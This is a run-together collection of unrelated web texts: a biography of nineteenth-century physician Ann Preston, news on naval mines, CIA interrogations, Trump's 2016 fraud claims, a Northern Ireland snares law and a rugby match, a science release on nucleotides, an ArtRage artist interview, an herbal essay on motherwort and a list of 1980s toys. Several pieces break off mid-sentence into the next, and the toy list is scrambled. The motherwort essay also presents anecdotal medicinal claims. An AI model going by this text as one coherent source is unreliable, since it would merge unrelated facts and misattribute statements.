Once her younger siblings were old enough, Preston began to work locally as a schoolteacher. In 1849, she published a book of nursery rhymes, Cousin Ann's Stories. By the 1840s, she became interested in educating women about their bodies and taught all-female classes on hygiene and physiology.[1] She was privately educated in medicine by apprenticing to Dr. Nathaniel Moseley from 1847–1849. Unable to gain admittance to medical schools because of their policies against admitting women, Preston entered the Quaker-founded Female Medical College of Pennsylvania (later changed to Woman's Medical College of Pennsylvania in 1867) at the age of 38 as a student in its inaugural class of 1850.[3] While studying at the Female Medical College In 1851, Preston wrote to her friend and fellow Quaker activist Hannah Darlington:
The joy of exploring a new field of knowledge, the rest from accustomed pursuits and cares, the stimulus of competition, the novelty of a new kind of life, are all mine, and all for the time possess a charm. And then, I am restful in spirit and well satisfied that I came.[4]
She graduated in 1851, one of eight women awarded a medical degree.[1] Dr. Preston returned to the college the following year for postgraduate work,and was appointed professor of physiology and hygiene there in 1853. In 1862 she led the effort to found the Woman’s Hospital of Philadelphia in order to provide sorely needed clinical training to the college’s students.[3] During the American Civil War, the college closed for the 1861–62 sessions due to lack of regular finances. At this time Preston, whose health has always been precarious, fell ill from rheumatic fever, stress, and exhaustion, and was admitted to the Pennsylvania Hospital for the Insane for three months to recuperate under the care of Dr. Thomas S. Kirkbride, a Quaker physician who advocated for the "humane treatment" of the mentally ill.[1][3]
When the Female Medical College resumed operations in October 1862, it re-opened in rooms rented from the Women's Hospital of Philadelphia. In 1864, a rift emerged among the faculty when Dean Edwin Fussell tried to prevent student Mary Putnam Jacobi from graduating with a medical degree, feeling that she did not meet the required qualifications. Other faculty, including Dr. Preston, strongly supported Jacobi and disagreed with the decision. Following the incident, Fussell, an early faculty member and nephew of college founder Bartholomew Fussell, resigned and Preston became dean of the college from 1866–1872.[5][6]
Career at Woman's Medical College of Pennsylvania [ edit ]
Ann Preston
Ann Preston was the first woman to become the dean of a medical school, a position that allowed her to champion the right of women to become physicians.[7][8] Preston was also what historian Steve Peitzman calls an "Institution builder," guiding the college through its post-war rebuilding and growth. She was a "fighting Quaker, her weapons being moral suasion, active example, and...the forceful written word."[3] In addition to the hospital she founded before becoming dean, she opened a school of nursing, and continued to push for educational opportunities for the female students of Woman's Medical College, including more and better clinical experience. In 1867 the Philadelphia County Medical Society objected to the practice of medicine by women. Ann Preston's response in part was "...we must protest...against the injustice which places difficulties in our way, not because we are ignorant or incompetent or unmindful in the code of medical or Christian ethics, but because we are women." Preston's defense disarmed much of the adverse criticism.[9]
In 1868, Preston negotiated with Philadelphia's Blockley Hospital to allow Woman's Medical College of Pennsylvania students to attend the general clinics there. In 1869 she made a similar arrangement with the Pennsylvania Hospital, where in November 1869, a group of about thirty of Woman's Med students were verbally and physically harassed by male medical students.[1][3] Anna Broomall, 1871 graduate of Woman's Med and future faculty member, recalled "the [male] students rushed in pell-mell, stood up in the seats, hooted, called us names and threw spitballs, trying in vain to dislodge us."[3] The incident sparked very public debates in the local and national press about the propriety of the presence of female medical students at clinical demonstrations but the result was the inevitability and acceptance of co-ed clinics.[3]
In addition to educating medical students and advocating for woman physicians, Dr. Preston also practiced medicine, attending at Woman's Hospital and maintaining her own private practice. She never married, but led a rich and active social and professional life, including establishing a household "where dear friends live with me in harmonious relations, and do much to make this an orderly home circle." [3] She continued to write and work for social reform until she suffered from an attack of acute articular rheumatism in 1871, which left her in a weakened state. She suffered a relapse the following year and died on April 18, 1872.[5]
Bibliography [ edit ]
Cousin Ann's Stories for Children (1849; re-issued 2011)
(1849; re-issued 2011) She also published various essays on the medical education of women.[9]
Files of Ann Preston [ edit ]
Preston Family Bible (includes family register in center), 1838 [10]
Poem, "The Child's Playhouse", 1842 [10]
Poem, "To a Departed Sister", 1843 [10]
Cousin Ann's Stories for Children (Philadelphia, J.M. McKim; 36 pages), 1849 [10]
System of Human Anatomy, general and special, by Wilson Erasmus, M.D. (Philadelphia), 1850. Owned, signed and annotated. [10]
Address on the Occasion of the Centennial Celebration of the Founding of the Pennsylvania Hospital, by George B. Wood, M.D., 1851. Owned, signed and annotated. [10]
Addresses and lectures (including an introductory lecture, 2 valedictory addresses, and "Women as Physicians", 1855, 1858, 1867, 1870. [10]
Letter to the Board of Managers of the Pennsylvania Hospital, 1856. [10]
Letters to Sarah Coates, 1831 March 21, undated. [10]
Poem, "It's Good to Live. A Thanksgiving Hymn", undated. [10]
Poem, "Remember me when far away...", undated. [10]
Letters to Sarah Coates, 1831, 1846, undated. [10]
Letters to unknown recipients, 1831, 1854. [10]
Letters to Hannah M. Darlington, 1833-1851, undated. [10]
Letters to Lavinia M. Passmore, 1843, 1860, 1868. [10]
Letters from William Darlington, 1860. [10]
"Address in Memory of Ann Preston, M.D.," by Elizabeth E. Judson, M.D., 1873 March 11. [10]
Letter to Dr. Alsop, undated. [10]
Information regarding the collected copies and locations of originals, 1968-1969.[10]
Quotes [ edit ]
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year. Ironically, the salary cap – the second-tier variety – also prevented him from playing first grade for the Eels last year. However, if William Hopoate is required for NSW duty during the Origin series, John Folau is a strong chance of belatedly making his NRL debut.
"I think I'm ready now if I get an opportunity," John Folau said before the recent interstate under-20s fixture.North Korea's denial of involvement in the sinking of a South Korean navy ship from an "external explosion" -- a naval mine or torpedo -- might be true if the focus is on what North Korea has done recently [news stories, April 17 and 18].
But the South Korean corvette might well have struck a mine laid during the Korean War, when, with help from the Chinese, North Korea laid many thousands of mines along the coast of the Korean Peninsula.
More than 100,000 sea mines of all types and sizes are strewn throughout the world's oceans, seas and littorals. Mines laid in the North Sea in World War I still occasionally damage or sink fishing vessels, and in February, two World War II mines (one German, one British) were detected in the Kattegat Strait -- between the North and Baltic seas -- and rendered safe. A 2009 NATO mine assessment concluded there could be some 80,000 mines from both wars in the English Channel and the North and Baltic seas.
Since October 1945, mines have sunk or damaged nearly four times as many U.S. Navy warships as all other means of attack combined. There are growing concerns that terrorists are looking to naval mines and other underwater explosive devices to attack shipping or even naval forces -- as evidenced by the May 2008 sinking of a Sri Lankan naval vessel by a Tamil Tiger suicide diver.
Finally, this most recent tragedy underscores a mine warfare adage: Any ship can be a minesweeper... once.
Scott C. Truver, Severna ParkCIA interrogators threatened to rape family members of terror suspects, execute their kids, even torture them with an electric drill, official documents released today show, as the US Attorney General announced a probe.
The revelations came in a declassified 2004 report by the then-CIA inspector general, which catalogued the threats and harsh interrogation tactics used against suspects at secret overseas prisons.
In this image from the CIA, the cover of a special review of a newly declassified CIA document describes how interrogators threatened to kill the children of one September 11 suspect and may have threatened to sexually assault the mother of another detainee. Credit:AP
Its release coincided with US Attorney General Eric Holder naming a prosecutor, Assistant US Attorney John Durham, to review the CIA interrogations and report back to him on whether the evidence warranted a full investigation.
The more than 100-page CIA report released today provided a litany of evidence that Durham will have to pore over, much of which was not available to the public as massive sections had been blacked out.A single process for how a group of molecules called nucleotides were made on the early Earth, before life began, has been suggested by a UCL-led team of researchers.
Nucleotides are essential to all life on Earth as they form the building blocks of DNA or RNA, and understanding how they were first made is a long-standing challenge that must be resolved to elucidate the origins of life.
In a study, published today in Nature Communications and funded by the Engineering and Physical Sciences Research Council, the Simons Foundation and the Origins of Life Challenge, researchers from UCL, Harvard University and Massachusetts General Hospital suggest a single chemical mechanism by which both classes of nucleotides - purines and pyrimidines - could have formed together.
Before now, scientists thought that the two classes of nucleotide must have been made separately and under mutually incompatible conditions. This study is the first to show that both purines and pyrimidines can be formed from a common precursor molecule that existed before life began.
"We provide a new perspective on how the original RNA molecules were made and suggest a simple chemical solution for delivering both purine and pyrimidine nucleotides at the origins of life," explained corresponding author, Dr Matthew Powner (UCL Chemistry).
"RNA is the corner stone of all life on Earth and probably carried the first information at the outset of life, but making RNA requires both purine and pyrimidine nucleotides to be simultaneously available. A solution to this problem has remained elusive for more than 50 years."
The team demonstrated how purines and pyrimidine nucleotides can both be assembled on the same sugar scaffold to form molecules called ribonucleotides which are used to construct RNA.
Purine and pyrimidine nucleotides are used to create the DNA and RNA. The purine and pyrimidine nucleotides bind to one another through specific molecular interactions that provide a mechanism to copy and transfer information at the molecular level, which is essential for genetics, replication and evolution. Therefore understanding the origins of nucleotides is thought to be key to understanding the origins of life itself.
The team discovered that molecules, called 8-oxo-adenosine and 8-oxo-inosine, which are purine ribonucleotides, can be formed under the same chemical conditions as the natural pyrimidine ribonucleotides. They also found that one chemical precursor can divergently yield both purine and pyrimidine ribonucleotides.
"The mechanism we've reported gives both classes of molecule the same stereochemistry that is universally found in the sugar scaffold of biological nucleic acids, suggesting that 8-oxo-purine ribonucleotides may have played a key role in primordial nucleic acids," said Dr Shaun Stairs (UCL Chemistry), first author of the study.
The team now plans to further investigate mechanisms that use 8-oxo-purines to transfer information, which could help scientists better understand life's first informational transfer systems.
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The Bain des Japonais Spring, an intertidal hydrothermal vent on Prony Bay. (Credit: Roy Price, Source: NASA)
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Bex Caygill
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As Donald Trump's campaign falters, his warnings that the presidential contest will be rigged have become a focus of his pitch to voters.
Historians say Trump's sustained effort to call the process into question has no close parallel in past elections. And some are increasingly worried that his claims — for which he's offered no real evidence — could leave many of his supporters unwilling to accept the election results, potentially triggering violence and dangerously undermining faith in American democracy.
Day after day — at rallies, in interviews and on Twitter — Trump and several top backers have hammered the message that a victory for Hillary Clinton would be illegitimate. Trump has frequently suggested that widespread voter fraud will swing the election, and he has urged his supporters to closely monitor the voting process.
In a tweet Monday, he declared that there's "large-scale voter fraud happening on and before election day." In fact, numerous studies have shown that in-person voter fraud is vanishingly rare.
Of course there is large scale voter fraud happening on and before election day. Why do Republican leaders deny what is going on? So naive! — Donald J. Trump (@realDonaldTrump) October 17, 2016
In August, Trump told a Pennsylvania crowd that the "only way" he could lose the state is "if cheating goes on." Trump's vice presidential running mate, Indiana Gov. Mike Pence, echoed those claims Monday in Ohio, declaring: "Voter fraud cannot be tolerated by anyone in this nation."
Trump is hardly the first prominent Republican to issue dire warnings about voter fraud. In 2008, Sen. John McCain of Arizona alleged in a presidential debate that the voter registration group ACORN was "on the verge of maybe perpetrating one of the greatest frauds in voter history in this country, maybe destroying the fabric of democracy."
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But as he has slipped in the polls, Trump has gone further, making his claims a central facet of his campaign — to the point where even some Republican leaders, including House Speaker Paul Ryan, have repudiated them. And he has broadened his case, charging that the contest is being rigged not just through fraud but also by the media, which he says favor his opponent.
He has also suggested that Clinton worked with the Democratic National Committee to steal her party's nomination from Sen. Bernie Sanders of Vermont.
Laura Belmonte, a history professor at Oklahoma State University, said that although there have been disputed elections and claims of illegal voting in the past, Trump's systematic effort to question the process in advance is new.
"I really can't think of another precedent where this rhetoric has been used so vigorously prior to the election," Belmonte said. "So the calls for poll watchers and the not-so-veiled threatening discourse — I really don't think have an analogue."
Belmonte added that most losers of close presidential elections have conceded defeat and called for the nation to unify, which has helped to maintain public faith in the system.
In 1877, Democrat Samuel Tilden gave a speech in which he continued to claim that he was the rightful winner of the previous year's election, but he nonetheless called on his supporters to "be of good cheer," adding: "The Republic will survive."
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Still, Belmonte said, some of them went on to refer to Tilden's opponent, President Rutherford B. Hayes," as "Rutherford B. Fraud."
More recent losers of disputed elections have been even clearer. Richard Nixon pledged his "wholehearted support" for John F. Kennedy in 1960, even as some Nixon supporters alleged fraud by Democrats in crucial Illinois.
In 2000, Vice President Al Gore — who had won the popular vote and might have won a majority of electoral votes were it not for a purge of Florida's voter rolls while opponent's brother was governor — promised to "bring Americans together" after the Supreme Court decided the election for George W. Bush.
Whether Trump would respond to defeat in the same way is very much an open question. He pledged at the first presidential debate that he'd "absolutely" support Clinton if she won. But he has since hedged, telling The New York Times later that week: "We're going to have to see. We're going to see what happens."
That has some election experts worrying that America's long tradition of peacefully transferring power could be at risk.
"One of the things we take for granted is that, even in tumultuous times when elections are hard fought, the losers concede the election and embrace the process, even if things did not go well," the election law scholar Rick Hasen, a professor of law and political science at the University of California-Irvine, wrote after Trump's "we're going to have to see" comments.
"Donald Trump threatens this peace," Hasen wrote.
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Evidence is mounting that Trump's broad, sustained attack has already had an impact:
A Politico poll released Monday found 41 percent of voters — including 73 percent of Republicans — fear that the election could be stolen.
An Associated Press poll found that half of respondents who have a favorable opinion of Trump have little to no confidence that votes will be counted fairly.
And a Survey Monkey poll conducted with Nathaniel Persily of Stanford Law School earlier this month, found that 40 percent of respondents said they'd lost faith in American democracy, with Trump supporters saying so at significantly higher rates than Clinton backers.
Meanwhile, the rhetoric from Trump supporters is growing apocalyptic. Milwaukee County, Wis., Sheriff David Clarke, a prominent Trump surrogate on law and order issues, called in a recenttweet for "pitchforks and torches."
It's incredible that our institutions of gov, WH, Congress, DOJ, and big media are corrupt & all we do is bitch. Pitchforks and torches time pic.twitter.com/8G5G0daGVN — David A. Clarke, Jr. (@SheriffClarke) October 15, 2016
"We're going to have a revolution and take them out of office if that's what it takes" if Clinton wins, a Trump backer told The Boston Globe at a rally in Ohio. "There's going to be a lot of bloodshed. But that's what it's going to take."
Last week, two armed Virginia men supporting Trump stood for hours outside a Democratic campaign office to "protest" Clinton. The action was legal, but it appeared designed to intimidate.
One reason Trump's allegations may be resonating is that they're of a piece with the broader thrust of his campaign. Since he kicked off his campaign last year, Trump has been telling voters that they were being sold out by corrupt elites and special interests who benefit from policies like free trade and open borders.
Saying the election is being rigged is, in some ways, only an extension of that outlook.
But Belmonte warned that Trump's rhetoric could have a lasting impact.
"I don't see how we put the toothpaste back in the tube with a lot of this very violent, super-heated rhetoric that's been in the public discourse this year," Belmonte said. "That's not going to just flip off on November 9th."An Interview With An ArtRage Artist
Mark Paulik is professional game illustrator from the USA. He specializes in animation, concept art, and UI design for everything from casual Facebook games to book illustration.
Who are you? What do you want the internet to know about you?
My name is Mark Paulik and I’m a professional illustrator who has been working in the Game Industry for over 10 years. I produce concepts, animation, game sprites and UI features for games (2D assets) In the past, I have produced animation for games and Web or TV production. My schooling was at Kendall College of Art in Grand Rapids, Michigan where I earned a BFA in Illustration. My past work includes everything from designing outdoor signage, motion graphics and multimedia products, to illustrations for books and magazines, and art for video games.
I currently work full time for Gamblit Games LLC in Glendale, California. We are producing the newest form of gambling games targeted specifically at millennials and casual type gamers. The games we produce are similar to products you’d play on tablets or phones but with gambling components so that a player could win real money.
Mandatory Editor Disclaimer: ArtRage & Ambient Design don’t support gambling, only the artists who happen to work in gambling industries.
What kind of artist are you? What kind of subjects do you draw? (How would you describe your style and/or theme?) My personal work is pretty different from my professional work in most cases. My personal work usually revolves around doing fun cartoons or even children book illustrations. I also enjoy character designs or illustrating anything that is particularly of interest to me. I used to produce work for independent comic publishers back in the 90’s, so that kind of love for pen and ink work has always stuck with me. I’m currently working on a series of posters for movies that are “so-bad-they’re-good”. Do you come from a digital or traditional art background? I came from a traditional art background originally and gravitated toward digital art production. I was never one that enjoyed getting my hands dirty with paint or stretching canvas etc., so when digital art production came about, I immediately latched on to it. I have missed doing traditional pen and ink work and might go back to it in the near future, but I love both the freedom to explore and how forgiving digital work is with mistakes and last minute changes etc. Do you use other programs or traditional media? Outside of ArtRage, I mostly use: Photoshop
Lazy Nezumi Pro
Some 3d modeling with Sketchup (usually as a base to work from with more complex concepts and architecture)
Flash for animation and VFX concepts
Occasionally I produce work in After Effects and vector work in Adobe Illustrator
What edition(s) of ArtRage do you use? I’ve actually been using both ArtRage Studio Pro AND ArtRage 4 at the same time. I keep and use Studio Pro because I can set its preferences separately to ArtRage 4. The reason that I do this is that I like to use a third party app called Lazy Nezumi Pro with the inking pen in ArtRage. Currently, there’s some bug that doesn’t allow ArtRage 4 to work with Lazy Nezumi Pro unless I have certain tablet settings turned on. So instead of having to change the setting in ArtRage 4, close down and reopen the program and then switch back the settings, then close down and reopen again to use it without Lazy Nezumi, I just have the two instances of the program running, as they don’t utilize the same preferences file. (Sorry for the lengthy explanation on that but I really love some of the features of Lazy Nezumi – particularly the constrain lines and ellipses and some other smoothing features. I highly recommend you look at it as features you could introduce in future releases of AR – could be a huge selling point with comic artists.)
What platform are you on? (e.g. Windows 8, Mac OS 10.9, iPad?)
Windows 10. (I purchased the iPhone or iPad version a long time ago when it was first released but I haven’t been too happy working on iOS devices for serious work.)
My professional machine is the Vaio Z Canvas which was supposed to be a competitor to the Wacom Companion and Microsoft Surface Pro. The Vaio Z Canvas has some features that far surpass these competing products, but it just hasn’t taken off. It’s really a machine built for professional artists.
How long have you been using ArtRage?
I think I started using it around 2009/2010. I was first attracted to it when I saw how user friendly it was with Tablet devices and Tablet PCs. The UI really is great in how it stays out of your way and has all the tools within reach. I also love the strength of its tools and how they replicate real life tools.
One of the best features is how customizable the sticker spray brush section is. I honestly use the sticker spray tool more than anything else and have built a set of brushes that I use consistently.
How did you come across the program?
I believe I saw it recommended by other concept artists in a forum somewhere. Its price point was amazingly reasonable (and still is) for what you get. I recall Painter being the only real competing product at the time that had similar tools, but was way buggier, a memory hog, and cost above $300 for a license. I used Painter for a time, then switched to ArtRage and haven’t looked back since.
What ArtRage works or projects are you most proud of?
I used Artrage in my day to day professional job exclusively as a concept artist for Zynga on a game called Solstice Arena (a League of Legends style MOBA game for the iPad. The game has since been shut down). ArtRage was perfect for creating quick concept sketches and paintings – while working on that game we had very little time to turn around character production. I could have probably used Photoshop, but Artrage is just so user friendly and a joy to work in and has the ability to export as a PSD file for further tweaking in Photoshop. I was using ArtRage every day during that time and don’t know if I could have produced so much work so smoothly in a short time without it.
My current job requires work that is more graphic-design oriented and less sketch and paint type work, so I use ArtRage less in my current job, but I still use it every day for personal work.
How do you choose what to draw?
I’m typically struck with a concept for an illustration based on an idea for something like a children’s book or to illustrate a concept. Sometimes it’s just fun to sketch and noodle around drawing anything and everything. I sometimes take part in Character Design Challenge on Tumblr which pitches out an assignment for a character design. Any artist can choose to take part and it is great for playing around with style and approach without having to think of what to draw.
Are you trying to tell a particular story/convey a certain meaning, or just basing it on what looks good? What response do you try and get from people?
I typically try to convey a sense of humour or action in my work. I’m always attracted to 2D animated work. I wanted to look into 2D animation professionally when I was younger, but didn’t pursue that desire (other than producing animation in After Effects and Flash). Many of my influences derive from animation artists or animation production houses. Some comic and children’s book illustrators also serve as inspiration.
Why do you use ArtRage?
I’ve listed many of the reasons above in other questions but ArtRage seems to be one of the first digital art products that takes into account what tools traditional artists might use and replicates those tools as closely as possible in digital form.
I’ve always felt that Photoshop has been a terrible tool for art production mainly because it was never initially created for art and instead has always been focused on photo editing. Which is fine. Photoshop is definitely a powerful program, but for sitting with a Tablet PC it’s a nightmare to use. The UI in Photoshop is all wrong for Tablet PCs, and Photoshop is often bloated with features and tools I never touch or use.
But maybe that’s just me? I’ve always wondered if programs should be set up more like when someone buys a car – and you have a base price for the product and then additional tools and add-ons are separate, so that artists could only buy what they need and keep costs down. It might also help with newer artists that feel overwhelmed at learning a new program. With traditional media a new artist typically doesn’t go and buy all art supplies at once. They might say “I’m interested in watercolor, so I’ll buy some paint, paper and a few brushes and see how I like it!” But maybe this idea isn’t feasible in the digital world?
Where does ArtRage fit into your workflow (e.g. do you use it for entire paintings or for specific points in the painting process)?
A little of both. I love a lot of the smoothing tools ArtRage has for inking and sketching. For doing work that is reliant on graphic design or typography, I feel ArtRage isn’t the best choice. For instance, I created a mock movie poster for this so-bad-it’s-good movie called “The Final Sacrifice”. I created all the character designs and some of the background elements in ArtRage and then pulled those art assets into Photoshop to do the final layout and add typographic elements, and help balance the whole design of the poster together.
I guess this is a pretty typical scenario for me in my art production. Things are typically started as a sketch or painting in ArtRage and then I do fit and finish production in Photoshop.
I don’t feel like ArtRage needs to add more robust typographic tools as I feel that’s not the program’s purpose. I honestly feel like many of Adobe’s products have gotten bogged down further and further with each new release. I find the Adobe tools are often buggy (at least for me they have been). I always respect a company that knows how to deliver a sleek streamlined product, and do it well, without adding a lot of unnecessary features or tools that end up working poorly, or costing more, and are never used.
What are your favourite ArtRage features?
I love the ink and pencil tools. LOVE the sticker spray tool once I figured out how customizable it was. I LOVE the workbench mode on my Tablet PC (I would like to see it get more customizable in future releases – maybe adding optional macro’s and key commands to it.) The paint symmetry tool is also a great (relatively new) feature that I use a lot.
Least used?
Probably the “Glitter tube” tool. This seems like one of those tools that might be cool for kids to play around with in a drawing app on the iPad, but not much to use for the professional artist. I do sometimes wish the ability to smooth lines that both pencil and Ink pen uses could be applied to other tools. Especially the sticker spray tool. If the sticker spray tool had an adjustable smoothing feature I’d be the happiest artist on the planet.
Do you have any tips for other artists who might want to do the same thing as you?
I’d say the typical artist’s mantra remains true for any digital or traditional artist: “Practice, Practice, Practice!”
I think for the serious digital artist, you’re going to want to invest in a Tablet, Tablet PC, or some Wacom Cintiq or similar product. Being able to draw directly on the screen is such a huge leap forward in digital art and will only get better with time. It’s a huge investment to be sure, but digital tablet screens are getting more and more affordable.
On that note: if you DO invest in such a device – you should realize it is something that will have issues and frustrations you will need to become accustomed to. It’s just the nature of the beast. The same is true of apps and programs. There’s simply no perfect tool out there and probably never will be. It is finding the things you feel comfortable working with. It has always been that way – with traditional tools as well.
Any ArtRage specific tips?
If you’re familiar with Photoshop, then you should have no trouble picking up and using ArtRage.
If you’re new to digital art and stress about the learning curve in using ArtRage or other apps, I’d recommend choosing one or two tools and play around and NOT try to jump right in to produce a finished piece of work. For instance, try out the marker tool or pencil tool and play with it. Doodling or sketching but nothing too serious. Get a feel for how it functions and how you can adjust its settings. Then as you move on to each new tool, find out the way each tool is set up and how you can customize its settings to your liking.
Eventually the program will become familiar and you can determine the things you will use and the things you might never use. I find that when a new artist first jumps into a program, or they start doing work digitally, they tend to use anything and everything and the work ends up looking like a hot mess as opposed to someone who has some command over the tools.
Is ArtRage suited to professional artwork?
I would definitely recommend it for professional work. Especially if the work produced is in line with traditional media and painting or illustrating.
I wouldn’t necessarily recommend it for tighter Graphic design or Web design work (although one might find some application of using it for some of that work). It’s simply not made for certain forms of art production. For drawing, sketching and painting… it’s unparalleled in my opinion.
You can view more of Mark Paulik’s work at www.wanderingpilot.com, and on Tumblr and DeviantArt
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Environment Minister Mark H Durkan is coming under pressure to toughen up a planned law on using snares to trap animals.
Animal welfare campaigners and the Green Party say the SDLP man’s proposed Snares Order will do nothing to stop what they say are cruel, lingering deaths suffered by animals caught in the traps.
The Order, set to be approved by the Assembly, will regulate the use of snares, but campaigners say they and the wider public are in favour of an outright ban. The detail of how the Order will regulate trapping with snares is as yet unclear.
Janice Watt, Senior Public Affairs Officer for the League Against Cruel Sports in Northern Ireland, said the Order will be in contrast to Belfast Council's unanimous vote calling on the Assembly to introduce a ban on snares. She added that a recent Ipsos MORI poll found that three out of four people in Northern Ireland are in favour of a ban.
The campaigner added: “If you put a wire noose out in a field, it doesn’t matter what regulations are written on a piece of paper, an animal will suffer. MLAs are being duped into thinking that by supporting more regulation on snaring, they are actually voting for animal welfare. The opposite is true. Only a complete ban on snares can prevent mass suffering.”
She said one of the many issues with snares is that they are indiscriminate and often inflict serious inujuries on pets or what she calls a “gruesome death”.
Ms Watt added: “The UK is one of only five European countries where the use of these snares is legal. Northern Ireland has the opportunity to be the UK leader on wild animal welfare by banning these incredibly cruel and completely indiscriminate traps. Please do not let the shooting industry’s profits override animal welfare and democracy.”
Green Party leader Stephen Agnew, said he is “deeply concerned” by the Snares Order which which he argues “effectively endorses the use of these cruel instruments so long as dubious, unenforceable conditions are met - none of which are likely to significantly alleviate animal suffering or reduce the number of non-target animals caught”.
He added: “Though used as a primitive form of ‘pest-control’, the widespread suffering and painful, lingering deaths that snares cause has been proven by universities and veterinary experts to be a completely ineffectual means of reducing fox numbers.
“This has been recognised across Europe, and the UK is one of just five member countries where this barbaric practice is still legal.
“The only way to stop this unnecessary suffering is to end the use of snares altogether. I urge the environment minister to listen to overwhelming public opposition and introduce a full ban on snaring.”
The minister came under some pressure on social media with animal rights people tweeting him to ban snares. He replied acknowledging the weight of concern, adding “Message received loud and clear!”
MORE : TV animal rights campaigner Bill Oddie calls on Stormont to ban hunting with dogsJames Davies scored Scarlets' only try in Parma.
Zebre (8) 8 Try: Bellini Pens: Padovani 2 Scarlets (6) 20 Try: Davies Pens: Jones 3, S Shingler 2
Scarlets moved back to the top of the Pro12 thanks to their third win of the season against Zebre in Parma.
The Welsh region trailed 8-6 at the interval after wing Mattia Bellini crossed for the Italian side.
Flanker James Davies sparked a Scarlets revival with a try early after the break with Dan Jones and Steven Shingler kicking the remaining points.
A yellow card for second row George Earle made for a frantic finish, with Zebre battering a stubborn defence.
Scarlets coach Wayne Pivac: "We're happy with the points, but not happy with the performance, particularly in the first half - across the park.
"We spoke at half time and rectified some of it in the second half, but we fell away from the standards we set in the first two games of the season and as a result it was stop start and there were too many turnovers.
"We've set a target of being in the top four when the players come back from the World Cup, but hopefully they won't be back for a while yet."
Scarlets: Jordan Williams; Hadleigh Parkes, Regan King, Gareth Owen, Michael Tagicakibau; Daniel Jones, Rhodri Williams; Rob Evans, Emyr Phillips, Peter Edwards, George Earle, Tom Price, Aaron Shingler, James Davies, John Barclay (capt)
Replacements: Kirby Myhill, Phil John, Will Taylor, Tom Phillips, Jack Condy, Aled Davies, Steven Shingler, Aled Thomas
Zebre: Dion Berryman; Mattia Bellini, Matteo Pratichetti, Thomas Castello, Kayle Van Zyl; Edoardo Padovani, Fabio Semenzato; Andrea Lovotti, Tommaso D'Apice, Pietro Ceccarelli, Michele Sutto, George Biagi (cap), Maxime Mbanda, Johan Meyer, Andries Van Schalkwyk.
Replacements: Emiliano Coria, Bruno Postiglioni, Giuseppe Di Stefano, James Taylor, Filippo Cristiano, Giulio Toniolatti, Tommaso Boni, Ian McKinley
Referee: Dudley Phillips (IRFU)
Assistant Referees: Matteo Liperini, Filippo Bertelli (FIR)
Citing Commissioner: Marco Cordelli (FIR)
TMO: Alan Falzone (FIR)My first experience with motherwort (Leonurus cardiaca) was enough to make me a life-long believer of this plant’s supportive actions. I was going through a particularly stressful period of time, during which I was juggling a looming deadline, a beloved pet’s unexpected injury, and a painful anniversary of a family member’s death. I hadn’t dealt with my stress well, and it was starting to manifest as tightness in my throat and a fluttery, anxious heartbeat.
I mentioned my symptoms to an herbalist friend, who suggested I try motherwort. The following day, I did just that. I diluted 2 dropperfuls of motherwort tincture in a small amount of water, drank it, and then returned to my work. About 20 minutes later, my cyclical and stressful thoughts of “Hurry up! Hurry up! You’re on deadline!” started to surface. Almost immediately, however, those thoughts seemed to hit a wall and it felt as though I was being reminded that I didn't need to go down that anxious road. That mental wall was so obvious that it actually took me off guard and I had to remind myself that I'd recently taken a bit of motherwort tincture. Up to that point, my other experiences with plant-based medicines had been more gentle and gradual, so I was pretty taken aback. As a result of such clear and obvious personal results, motherwort is now my go-to plant ally for helping to ease nervous tension.
Adobe stock/Anastasiia Malin
Motherwort’s Healing Properties
After my positive experience with motherwort, I planted the herb in my garden and began familiarizing myself with the plant’s other benefits. I learned that, as I had experienced, motherwort is a supportive nervine, helping to release the anxiety and tension that accompany stress. It’s approved by the German Commission E for nervous cardiac disorders and for thyroid hyperfunction. It’s also sedative, diuretic, hypotensive (lowers blood pressure), emmenagogue (stimulates or increases menstrual flow), and antispasmodic.
“Wort” means “to heal,” and as the common name “motherwort” implies, the plant has been used by mothers for centuries and was a common component in midwive’s baskets. According to herbalist Susan Weed, one of motherwort’s uses is to reduce anxiety associated with childbirth, postpartum depression, and menopause (but should not be taken during pregnancy due to its emmenagogue properties). In traditional Chinese medicine, motherwort is combined with dong quai to help regulate the menses cycle and reduce symptoms of PMS.
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The plant’s botanical name, Leonurus cardiac, means “lion hearted” and is thought to relate to either the flower spike’s resemblance to a lion’s tail or the plant's traditional use as a cardiac tonic. Motherwort’s common and botanical names combine to provide wonderful clues to its healing properties. After taking my first motherwort tincture I felt exactly as though a protective, lion-hearted mother stood over me and said, “Listen up. I love you, but you need to calm down and drop this stressful attitude. Enough is enough.” That impression gave me the strength and courage to carry on with a better attitude and a braver heart.6. AT-AT Walker
Source: Rebelscum Released: 1981
5. Castle Grayskull Playset
Source: Toyworth Released: 1982
3. Thundercats Cats Lair
Source: thundercatslair.org Released: 1986
2. The Technodrome Playset
Source: Turtlepedia.wikia.com Released: 1990
1. U.S.S. Flagg Playset
In the eighties, we had a lot of amazing toys, but there were a handful of toys everyone wanted, but couldn't have. Some of them cost so much, we could never afford them. Others were so hard to find they made you cry when you saw the empty shelves at the store. Now we're not talking about Cabbage Patch Kids or other toys parentswe wanted. We're talking the really awesome toys. Here's a rundown of our dream collection.Original Price: $47.99 ($125.83 adjusted for inflation*)When we first saw, there were a lot of amazing visuals, but the AT-AT walker stuck in our minds. At the time, we thought it was the coolest thing we'd ever seen. Then to discover you could actually buy one was almost more than our little minds could take. Kenner’s toy AT-AT had everything you could want: a head you could turn to survey the battlefield, poseable legs to stomp rebel figures, little toy guns that lit up and fired when you pulled the trigger, and a body you could stuff full of action figures to carry onto the battlefield. It’s become the Holy Grail of Star Wars action figures, and we'd still love to have one.Original Price: $26.99 ($59.79 adjusted for inflation)He-Man was one of the most popular action figure lines of the eighties. We had our own collection of figures to be proud of, including an original He-Man and Skeletor, thank you very much. Of course, if you're gonna have action figures, you have to have some place to fight. He-Man had his own castle, and he didn't have one of those wimpy Lord of the Rings castles: his castle was in the shape of a gigantic skull. The toy version could have just stopped there, but no. Mattel took the castle and crammed it full of cool gimmicks like a working elevator and drawbridge, a rack of exclusive weapons, and a laser cannon. And what if Skeletor managed to get inside? Well, he'd probably head for the throne to sit his bony butt down. That's when you turned
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the tribespeople made spontaneous gestures when speaking about the past, present and future. They filmed and analysed the gestures and found that for the Yupno the past is always downhill, in the direction of the mouth of the local river. The future, meanwhile, is towards the river’s source, which lies uphill from Gua.
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This was true regardless of the direction they were facing. For instance, if they were facing downhill when talking about the future, a person would gesture backwards up the slope. But when they turned around to face uphill, they pointed forwards (Cognition, DOI: 10.1016/j.cognition.2012. 03.007).
“If they were facing downhill and talking about the future, the person would gesture backwards”
